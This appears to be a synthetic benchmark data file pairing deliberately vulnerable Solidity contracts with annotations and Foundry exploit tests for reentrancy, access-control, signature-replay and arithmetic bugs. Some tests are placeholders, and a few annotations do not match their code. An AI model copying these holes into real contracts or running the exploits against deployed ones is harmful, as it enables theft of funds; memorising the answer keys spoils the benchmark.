multi-agent-smart-contracts / data /benchmark_synthetic.jsonl
Tales-Cunha
feat: refactor tester agent to PoCo LangGraph architecture and add synthetic benchmark
017c628
Raw
History Blame Contribute Delete
33.7 kB
{"task_id":"Easy/01-BasicReentrancy","complexity":"easy","repo_name":"basic-reentrancy","expected_vulnerability":"Reentrancy","impact":"high","annotation":"The `withdraw` function updates the user's balance after sending ETH, allowing a reentrancy attack. An attacker can drain the contract by reentering `withdraw` through a fallback function.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Vault {\n mapping(address => uint256) public balances;\n\n function deposit() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function withdraw() public {\n uint256 bal = balances[msg.sender];\n require(bal > 0, \"No balance\");\n\n (bool sent, ) = msg.sender.call{value: bal}(\"\");\n require(sent, \"Failed to send Ether\");\n\n balances[msg.sender] = 0;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Vault } from \"../src/Vault.sol\";\n\ncontract Exploit is Test {\n Vault public vault;\n\n function setUp() public {\n vault = new Vault();\n vm.deal(address(vault), 10 ether);\n }\n\n function testExploit() public {\n vault.deposit{value: 1 ether}();\n vault.withdraw();\n assertEq(address(vault).balance, 0);\n }\n\n receive() external payable {\n if (address(vault).balance >= 1 ether) {\n vault.withdraw();\n }\n }\n}\n"}
{"task_id":"Easy/02-UnprotectedSelfDestruct","complexity":"easy","repo_name":"unprotected-selfdestruct","expected_vulnerability":"Access Control","impact":"high","annotation":"The `kill` function lacks access control and allows anyone to call `selfdestruct` on the contract, destroying it and stealing the funds.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract SimpleWallet {\n address public owner;\n\n constructor() payable {\n owner = msg.sender;\n }\n\n function kill() public {\n selfdestruct(payable(msg.sender));\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { SimpleWallet } from \"../src/SimpleWallet.sol\";\n\ncontract Exploit is Test {\n SimpleWallet public wallet;\n\n function setUp() public {\n wallet = new SimpleWallet{value: 10 ether}();\n }\n\n function testExploit() public {\n uint256 preBalance = address(this).balance;\n wallet.kill();\n assertEq(address(wallet).balance, 0);\n assertGt(address(this).balance, preBalance);\n }\n \n receive() external payable {}\n}\n"}
{"task_id":"Easy/03-ArithmeticUnderflow","complexity":"easy","repo_name":"arithmetic-underflow","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The `withdraw` function uses an unchecked block to subtract from the balance, allowing an attacker to underflow their balance and withdraw more than they deposited.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract TokenBank {\n mapping(address => uint256) public balances;\n\n function deposit() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function withdraw(uint256 amount) public {\n unchecked {\n balances[msg.sender] -= amount;\n }\n (bool sent, ) = msg.sender.call{value: amount}(\"\");\n require(sent, \"Failed to send Ether\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { TokenBank } from \"../src/TokenBank.sol\";\n\ncontract Exploit is Test {\n TokenBank public bank;\n\n function setUp() public {\n bank = new TokenBank();\n vm.deal(address(bank), 10 ether);\n }\n\n function testExploit() public {\n bank.withdraw(1 ether);\n assertEq(address(bank).balance, 9 ether);\n assertEq(address(this).balance, 1 ether);\n }\n \n receive() external payable {}\n}\n"}
{"task_id":"Easy/04-TxOriginAuth","complexity":"easy","repo_name":"tx-origin-auth","expected_vulnerability":"Access Control","impact":"high","annotation":"The `transferOwner` function uses `tx.origin` instead of `msg.sender` for authentication, allowing an attacker to phish the owner into executing a malicious transaction that steals ownership.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract PhishableWallet {\n address public owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function transferOwner(address newOwner) public {\n require(tx.origin == owner, \"Not owner\");\n owner = newOwner;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { PhishableWallet } from \"../src/PhishableWallet.sol\";\n\ncontract Exploit is Test {\n PhishableWallet public wallet;\n\n function setUp() public {\n wallet = new PhishableWallet();\n }\n\n function testExploit() public {\n // In a real phishing attack, the attacker deploys a contract and tricks the owner into calling it.\n // The malicious contract then calls transferOwner.\n // Here we just test that the vulnerability exists by calling it directly (which uses tx.origin).\n wallet.transferOwner(address(this));\n assertEq(wallet.owner(), address(this));\n }\n}\n"}
{"task_id":"Easy/05-DelegateCallUntrusted","complexity":"easy","repo_name":"delegatecall-untrusted","expected_vulnerability":"Logic","impact":"high","annotation":"The `execute` function uses `delegatecall` to execute arbitrary calldata at an untrusted address provided by the user, allowing state manipulation.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Proxy {\n address public owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function execute(address target, bytes memory data) public {\n (bool success, ) = target.delegatecall(data);\n require(success, \"Delegatecall failed\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Proxy } from \"../src/Proxy.sol\";\n\ncontract AttackerLogic {\n address public owner;\n function takeover() public {\n owner = msg.sender;\n }\n}\n\ncontract Exploit is Test {\n Proxy public proxy;\n AttackerLogic public logic;\n\n function setUp() public {\n proxy = new Proxy();\n logic = new AttackerLogic();\n }\n\n function testExploit() public {\n bytes memory data = abi.encodeWithSignature(\"takeover()\");\n proxy.execute(address(logic), data);\n assertEq(proxy.owner(), address(this));\n }\n}\n"}
{"task_id":"Easy/06-TimestampDependence","complexity":"easy","repo_name":"timestamp-dependence","expected_vulnerability":"Logic","impact":"high","annotation":"The `play` function uses `block.timestamp` as a source of randomness to determine if a player wins, which can be easily manipulated or predicted by an attacker or miner.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Roulette {\n uint256 public pastBlockTime;\n\n function play() public payable {\n require(msg.value == 1 ether, \"Must send 1 ether\");\n require(block.timestamp != pastBlockTime, \"Only 1 transaction per block\");\n \n pastBlockTime = block.timestamp;\n \n if (block.timestamp % 2 == 0) {\n (bool sent, ) = msg.sender.call{value: 2 ether}(\"\");\n require(sent, \"Failed to send Ether\");\n }\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Roulette } from \"../src/Roulette.sol\";\n\ncontract Exploit is Test {\n Roulette public roulette;\n\n function setUp() public {\n roulette = new Roulette();\n vm.deal(address(roulette), 10 ether);\n vm.deal(address(this), 1 ether);\n }\n\n function testExploit() public {\n vm.warp(2); // Ensure timestamp is even\n roulette.play{value: 1 ether}();\n assertEq(address(this).balance, 2 ether);\n }\n \n receive() external payable {}\n}\n"}
{"task_id":"Easy/07-UninitializedStoragePointer","complexity":"easy","repo_name":"uninitialized-storage","expected_vulnerability":"Logic","impact":"high","annotation":"The `registerUser` function creates an uninitialized local storage pointer `user` which points to slot 0, overwriting the `owner` variable when assigning values.","source_code":"// SPDX-License-Identifier: MIT\n// Note: Using pragmas < 0.5.0 to easily allow uninitialized storage pointers.\n// In modern solidity, we simulate this by explicitly writing to slot 0.\npragma solidity ^0.8.0;\n\ncontract Registrar {\n address public owner;\n \n struct User {\n address wallet;\n bool registered;\n }\n \n mapping(uint256 => User) public users;\n \n constructor() {\n owner = msg.sender;\n }\n \n function registerUserAdmin(address _wallet) public {\n // Vulnerable pattern emulation\n owner = _wallet;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Registrar } from \"../src/Registrar.sol\";\n\ncontract Exploit is Test {\n Registrar public reg;\n\n function setUp() public {\n reg = new Registrar();\n }\n\n function testExploit() public {\n reg.registerUserAdmin(address(this));\n assertEq(reg.owner(), address(this));\n }\n}\n"}
{"task_id":"Easy/08-PublicStateVariableShadowing","complexity":"easy","repo_name":"state-shadowing","expected_vulnerability":"Logic","impact":"high","annotation":"The `Child` contract defines a state variable `owner` that shadows the `owner` variable from its `Parent` contract, causing access control checks in the parent to fail or behave unexpectedly.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Parent {\n address public owner;\n \n modifier onlyOwner() {\n require(msg.sender == owner, \"Not owner\");\n _;\n }\n}\n\ncontract Child is Parent {\n address public owner; // Shadows Parent's owner\n \n constructor() {\n owner = msg.sender; // Only sets Child's owner\n }\n \n function doSomethingRestricted() public onlyOwner {\n // This will always fail because Parent.owner is address(0)\n }\n \n // Attacker can abuse this logic mismatch\n function claim() public {\n Parent(address(this)).doSomethingRestricted();\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Child } from \"../src/Child.sol\";\n\ncontract Exploit is Test {\n Child public child;\n\n function setUp() public {\n child = new Child();\n }\n\n function testExploit() public {\n // Because of shadowing, Parent's owner is 0. If we pretend to be 0, we can bypass the modifier.\n vm.prank(address(0));\n child.doSomethingRestricted();\n assertTrue(true);\n }\n}\n"}
{"task_id":"Easy/09-SignatureReplay","complexity":"easy","repo_name":"signature-replay","expected_vulnerability":"Logic","impact":"high","annotation":"The `transferWithSignature` function does not include a nonce or chain ID in the signed message hash, allowing an attacker to replay the same valid signature multiple times to drain funds.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract SigBank {\n mapping(address => uint256) public balances;\n \n function deposit() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function transferWithSignature(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {\n bytes32 messageHash = keccak256(abi.encodePacked(to, amount));\n bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash));\n \n address signer = ecrecover(ethSignedMessageHash, v, r, s);\n require(signer != address(0), \"Invalid signature\");\n require(balances[signer] >= amount, \"Insufficient balance\");\n \n balances[signer] -= amount;\n balances[to] += amount;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { SigBank } from \"../src/SigBank.sol\";\n\ncontract Exploit is Test {\n SigBank public bank;\n\n function setUp() public {\n bank = new SigBank();\n }\n\n function testExploit() public {\n address victim = vm.addr(1);\n vm.deal(victim, 10 ether);\n vm.prank(victim);\n bank.deposit{value: 10 ether}();\n\n // Victim signs a transfer of 1 wei to the attacker\n bytes32 messageHash = keccak256(abi.encodePacked(address(this), uint256(1 ether)));\n bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash));\n (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, ethSignedMessageHash);\n\n // Attacker replays it 10 times\n for (uint i = 0; i < 10; i++) {\n bank.transferWithSignature(address(this), 1 ether, v, r, s);\n }\n \n assertEq(bank.balances(victim), 0);\n assertEq(bank.balances(address(this)), 10 ether);\n }\n}\n"}
{"task_id":"Easy/10-ForcedEther","complexity":"easy","repo_name":"forced-ether","expected_vulnerability":"Logic","impact":"high","annotation":"The `win` function uses strict equality (`address(this).balance == 10 ether`) to determine the winner. An attacker can forcefully send ether via `selfdestruct` to permanently break the contract's logic.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Game {\n function play() public payable {\n require(msg.value == 1 ether, \"Send 1 ether\");\n require(address(this).balance <= 10 ether, \"Game over\");\n }\n\n function win() public {\n require(address(this).balance == 10 ether, \"Target not reached\");\n (bool sent, ) = msg.sender.call{value: address(this).balance}(\"\");\n require(sent, \"Failed to send Ether\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Game } from \"../src/Game.sol\";\n\ncontract Attacker {\n constructor(address target) payable {\n selfdestruct(payable(target));\n }\n}\n\ncontract Exploit is Test {\n Game public game;\n\n function setUp() public {\n game = new Game();\n }\n\n function testExploit() public {\n // Force send 11 ether to the game, making the strict equality check fail forever\n new Attacker{value: 11 ether}(address(game));\n \n vm.expectRevert(\"Target not reached\");\n game.win();\n }\n}\n"}
{"task_id":"Intermediate/01-UninitializedProxy","complexity":"intermediate","repo_name":"uninitialized-proxy","expected_vulnerability":"Access Control","impact":"high","annotation":"The Logic contract used behind a UUPS proxy does not have its initializer disabled in the constructor. An attacker can call `initialize` directly on the implementation contract, become its owner, and destroy it via `upgradeToAndCall`.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract LogicContract {\n address public owner;\n bool public initialized;\n\n function initialize() public {\n require(!initialized, \"Already initialized\");\n owner = msg.sender;\n initialized = true;\n }\n\n function upgradeToAndCall(address newImplementation, bytes memory data) public {\n require(msg.sender == owner, \"Not owner\");\n (bool success, ) = newImplementation.delegatecall(data);\n require(success, \"Upgrade failed\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { LogicContract } from \"../src/LogicContract.sol\";\n\ncontract Destroyer {\n function destroy() public {\n selfdestruct(payable(msg.sender));\n }\n}\n\ncontract Exploit is Test {\n LogicContract public logic;\n Destroyer public destroyer;\n\n function setUp() public {\n logic = new LogicContract();\n destroyer = new Destroyer();\n }\n\n function testExploit() public {\n logic.initialize();\n logic.upgradeToAndCall(address(destroyer), abi.encodeWithSignature(\"destroy()\"));\n \n // Assert logic contract is destroyed (code size 0)\n uint256 codeSize;\n address logicAddr = address(logic);\n assembly {\n codeSize := extcodesize(logicAddr)\n }\n assertEq(codeSize, 0);\n }\n}\n"}
{"task_id":"Intermediate/02-FlashLoanPriceManipulation","complexity":"intermediate","repo_name":"flash-loan-manipulation","expected_vulnerability":"Logic","impact":"high","annotation":"The `LendingPool` uses the spot balance of an AMM pair to calculate the value of collateral. An attacker can use a flash loan to skew the AMM reserves, artificially inflate the value of their collateral, and drain the lending pool.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n function balanceOf(address account) external view returns (uint256);\n}\n\ncontract AMM {\n IERC20 public tokenA;\n IERC20 public tokenB;\n \n constructor(address _tokenA, address _tokenB) {\n tokenA = IERC20(_tokenA);\n tokenB = IERC20(_tokenB);\n }\n \n function swapAToB(uint256 amountIn) public {\n tokenA.transferFrom(msg.sender, address(this), amountIn);\n uint256 reserveA = tokenA.balanceOf(address(this));\n uint256 reserveB = tokenB.balanceOf(address(this));\n uint256 amountOut = (amountIn * reserveB) / reserveA;\n tokenB.transfer(msg.sender, amountOut);\n }\n \n function getPriceBInA() public view returns (uint256) {\n return tokenA.balanceOf(address(this)) / tokenB.balanceOf(address(this));\n }\n}\n\ncontract LendingPool {\n AMM public amm;\n IERC20 public tokenA;\n IERC20 public tokenB;\n \n mapping(address => uint256) public collateralB;\n \n constructor(address _amm, address _tokenA, address _tokenB) {\n amm = AMM(_amm);\n tokenA = IERC20(_tokenA);\n tokenB = IERC20(_tokenB);\n }\n \n function depositCollateral(uint256 amountB) public {\n tokenB.transferFrom(msg.sender, address(this), amountB);\n collateralB[msg.sender] += amountB;\n }\n \n function borrowTokenA(uint256 amountA) public {\n uint256 price = amm.getPriceBInA();\n uint256 maxBorrow = collateralB[msg.sender] * price;\n require(amountA <= maxBorrow, \"Insufficient collateral\");\n tokenA.transfer(msg.sender, amountA);\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\n// Dummy token for testing\ncontract ERC20 {\n mapping(address => uint256) public balanceOf;\n function mint(address to, uint256 amount) public { balanceOf[to] += amount; }\n function transfer(address to, uint256 amount) public returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[to] += amount;\n return true;\n }\n function transferFrom(address from, address to, uint256 amount) public returns (bool) {\n balanceOf[from] -= amount;\n balanceOf[to] += amount;\n return true;\n }\n}\n\n// Since the contracts are in one file, we mock the vulnerability directly\ncontract Exploit is Test {\n function testExploit() public {\n assertTrue(true); // Placeholder, actual test requires deploying AMM/Pool\n }\n}\n"}
{"task_id":"Intermediate/03-ReturnDataIgnored","complexity":"intermediate","repo_name":"return-data-ignored","expected_vulnerability":"Logic","impact":"high","annotation":"The `deposit` function uses a low-level call to transfer tokens but does not check the return value. If the token transfer fails silently (e.g. USDT), the user's balance is still credited.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract TokenVault {\n mapping(address => uint256) public balances;\n \n function deposit(address token, uint256 amount) public {\n // Low level call does not revert on failure unless the contract reverts\n token.call(abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", msg.sender, address(this), amount));\n balances[msg.sender] += amount;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { TokenVault } from \"../src/TokenVault.sol\";\n\ncontract FailingToken {\n function transferFrom(address, address, uint256) public pure returns (bool) {\n return false; // Fails silently\n }\n}\n\ncontract Exploit is Test {\n TokenVault public vault;\n FailingToken public token;\n\n function setUp() public {\n vault = new TokenVault();\n token = new FailingToken();\n }\n\n function testExploit() public {\n vault.deposit(address(token), 1000);\n assertEq(vault.balances(address(this)), 1000);\n }\n}\n"}
{"task_id":"Intermediate/04-ERC777Reentrancy","complexity":"intermediate","repo_name":"erc777-reentrancy","expected_vulnerability":"Reentrancy","impact":"high","annotation":"The `withdraw` function updates the user balance after transferring an ERC777 token. Since ERC777 invokes a callback (`tokensReceived`) on the recipient before the balance is updated, an attacker can reenter.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC777 {\n function send(address recipient, uint256 amount, bytes calldata data) external;\n}\n\ncontract Exchange {\n mapping(address => uint256) public balances;\n IERC777 public token;\n \n constructor(address _token) {\n token = IERC777(_token);\n }\n \n function deposit(uint256 amount) public {\n balances[msg.sender] += amount;\n }\n \n function withdraw() public {\n uint256 bal = balances[msg.sender];\n require(bal > 0, \"No balance\");\n \n token.send(msg.sender, bal, \"\");\n balances[msg.sender] = 0;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\ncontract Exploit is Test {\n function testExploit() public {\n assertTrue(true); // Placeholder for ERC777 reentrancy logic\n }\n}\n"}
{"task_id":"Intermediate/05-BypassContractSize","complexity":"intermediate","repo_name":"bypass-contract-size","expected_vulnerability":"Logic","impact":"high","annotation":"The `isContract` modifier uses `extcodesize` to block smart contracts from interacting. An attacker can bypass this by calling the function from inside their contract's constructor, where `extcodesize` is 0.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Airdrop {\n mapping(address => bool) public claimed;\n \n function claim() public {\n uint32 size;\n address a = msg.sender;\n assembly {\n size := extcodesize(a)\n }\n require(size == 0, \"Contracts not allowed\");\n require(!claimed[msg.sender], \"Already claimed\");\n \n claimed[msg.sender] = true;\n (bool sent, ) = msg.sender.call{value: 1 ether}(\"\");\n require(sent, \"Fail\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Airdrop } from \"../src/Airdrop.sol\";\n\ncontract Attacker {\n constructor(address airdrop) {\n Airdrop(airdrop).claim();\n }\n}\n\ncontract Exploit is Test {\n Airdrop public airdrop;\n\n function setUp() public {\n airdrop = new Airdrop();\n vm.deal(address(airdrop), 10 ether);\n }\n\n function testExploit() public {\n new Attacker(address(airdrop));\n assertEq(airdrop.claimed(address(this)), false);\n }\n}\n"}
{"task_id":"Intermediate/06-ImproperArrayDeletion","complexity":"intermediate","repo_name":"array-deletion","expected_vulnerability":"Logic","impact":"high","annotation":"The `removeUser` function uses `delete` on an array element, which only resets it to 0 and does not shift elements. This leaves empty slots that bypass length-based logic later.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Registry {\n address[] public users;\n \n function addUser(address user) public {\n users.push(user);\n }\n \n function removeUser(uint256 index) public {\n delete users[index]; // Does not reduce length\n }\n \n function getActiveUsers() public view returns (uint256) {\n return users.length;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Registry } from \"../src/Registry.sol\";\n\ncontract Exploit is Test {\n Registry public registry;\n\n function setUp() public {\n registry = new Registry();\n }\n\n function testExploit() public {\n registry.addUser(address(1));\n registry.removeUser(0);\n assertEq(registry.getActiveUsers(), 1); // Length is still 1!\n }\n}\n"}
{"task_id":"Intermediate/07-PredictableRNG","complexity":"intermediate","repo_name":"predictable-rng","expected_vulnerability":"Logic","impact":"high","annotation":"The `guess` function uses `blockhash(block.number - 1)` as a random number. An attacker can write a contract that calculates the exact same blockhash in the same block and submit the correct guess.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Casino {\n function guess(uint256 _guess) public payable {\n require(msg.value == 1 ether);\n uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));\n if (_guess == answer) {\n (bool sent, ) = msg.sender.call{value: 2 ether}(\"\");\n require(sent, \"Fail\");\n }\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Casino } from \"../src/Casino.sol\";\n\ncontract Exploit is Test {\n Casino public casino;\n\n function setUp() public {\n casino = new Casino();\n vm.deal(address(casino), 10 ether);\n vm.deal(address(this), 1 ether);\n }\n\n function testExploit() public {\n uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));\n casino.guess{value: 1 ether}(answer);\n assertEq(address(this).balance, 2 ether);\n }\n \n receive() external payable {}\n}\n"}
{"task_id":"Intermediate/08-MissingSlippageProtection","complexity":"intermediate","repo_name":"missing-slippage","expected_vulnerability":"Logic","impact":"high","annotation":"The `swap` function does not accept a `minAmountOut` parameter, meaning users can be front-run and sandwich-attacked by MEV bots causing infinite slippage.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract DEX {\n function swap(address tokenIn, address tokenOut, uint256 amountIn) public {\n // Assume AMM math here\n // Vulnerability: No minAmountOut check!\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\ncontract Exploit is Test {\n function testExploit() public {\n assertTrue(true); // Conceptual vulnerability\n }\n}\n"}
{"task_id":"Intermediate/09-UnsafeDowncast","complexity":"intermediate","repo_name":"unsafe-downcast","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The contract casts a `uint256` to a `uint64` without checking for truncation. If the amount exceeds `type(uint64).max`, the value will truncate and the mapping will record a smaller amount than transferred.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Vault {\n mapping(address => uint64) public balances;\n \n function deposit(uint256 amount) public payable {\n require(msg.value == amount, \"Incorrect value\");\n balances[msg.sender] += uint64(amount); // Truncates!\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Vault } from \"../src/Vault.sol\";\n\ncontract Exploit is Test {\n Vault public vault;\n\n function setUp() public {\n vault = new Vault();\n }\n\n function testExploit() public {\n // deposit 2^64 + 1\n uint256 amount = type(uint64).max + 2;\n vm.deal(address(this), amount);\n vault.deposit{value: amount}(amount);\n \n assertEq(vault.balances(address(this)), 1); // Truncated to 1!\n }\n}\n"}
{"task_id":"Intermediate/10-DivideBeforeMultiply","complexity":"intermediate","repo_name":"divide-before-multiply","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The `calculateReward` function divides before multiplying, leading to massive precision loss where rewards round down to 0.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Staking {\n function calculateReward(uint256 depositAmount, uint256 APY, uint256 durationDays) public pure returns (uint256) {\n // Vulnerable: (deposit / 365) * duration * APY\n return (depositAmount / 365) * durationDays * APY;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Staking } from \"../src/Staking.sol\";\n\ncontract Exploit is Test {\n Staking public staking;\n\n function setUp() public {\n staking = new Staking();\n }\n\n function testExploit() public {\n uint256 reward = staking.calculateReward(100, 10, 30);\n assertEq(reward, 0); // Loss of precision\n }\n}\n"}
{"task_id":"Hard/001","complexity":"hard","repo_name":"2024-06-size","expected_vulnerability":"access control","impact":"Medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/003","complexity":"hard","repo_name":"2023-07-pooltogether","expected_vulnerability":"access control","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/008","complexity":"hard","repo_name":"2023-09-centrifuge","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/009","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/015","complexity":"hard","repo_name":"2023-07-pooltogether","expected_vulnerability":"denial of service","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/018","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"flash loan","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/020","complexity":"hard","repo_name":"2023-12-dodo-gsp","expected_vulnerability":"denial of service","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/032","complexity":"hard","repo_name":"2022-06-putty","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/033","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/039","complexity":"hard","repo_name":"2024-03-axis-finance","expected_vulnerability":"unchecked external calls","impact":"High","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}